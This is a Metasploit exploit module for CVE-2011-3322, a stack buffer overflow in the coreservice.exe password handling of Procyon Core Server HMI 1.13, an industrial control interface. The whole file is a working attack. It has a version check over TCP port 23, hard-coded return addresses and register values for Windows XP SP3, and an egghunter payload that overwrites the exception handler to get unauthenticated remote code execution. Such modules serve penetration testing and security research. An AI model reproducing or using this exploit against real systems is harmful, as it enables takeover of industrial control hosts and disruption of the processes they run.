Procyon Core Server HMI 1.13 – ‘Coreservice.exe’ Remote Stack Buffer Overflow (Metasploit)
## # $Id: procyon_core_server.rb 13724 2011-09-12 21:42:36Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability in the coreservice.exe component of Proycon Core Server <= v1.13. While processing a password, the application fails to do proper bounds checking before copying data into a small buffer on the stack. This causes a buffer overflow and allows to overwrite a structured exception handling record on the stack, allowing for unauthenticated remote code execution. Also, after the payload exits, Coreservice.exe should automatically recover. }, 'License' => MSF_LICENSE, 'Version' => '$Revision: 13724 $', 'Author' => [ 'Knud Højgaard <keh[at]nsense.dk>', # Initial discovery 'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf ], 'References' => [ ['CVE', 'CVE-2011-3322'], ['OSVDB', '75371'], ['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'], ['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow'] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d", }, 'DefaultOptions' => { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 - No dep bypass', { 'Ret' => 0x774699bf, # JMP ESP [user32.dll] 'Edx' => 0x1D847770, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll] 'Eax' => 0x01010106, # 0x7712dec2 -> 0x00700040 RW [oleaut32.dll] 'Offset' => 8 } ], ], 'Privileged' => true, 'DisclosureDate' => "Sep 08 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(23) ], self.class) end def check connect res = sock.get_once.chomp #This gives us string "----------------------------" res = sock.get_once.chomp #This gives us the actual software version disconnect if res =~ /Core Command Interface V1\.(.*)2/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit eggoptions = { :checksum => false, :eggtag => 'ssec', } badchars = "\x00\x0a\x0d" hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions) sploit = rand_text_alpha_upper(45) sploit << [target['Edx']].pack('V') sploit << [0x41414141].pack('V') sploit << [target['Eax']].pack('V') sploit << rand_text_alpha_upper(target['Offset']) sploit << [target.ret].pack('V') sploit << make_nops(10) sploit << hunter sploit << rand_text_alpha_upper(500) sploit << egg sploit << "\r\n" connect sock.get_once() print_status("Sending request...") sock.put(sploit) handler() disconnect end end |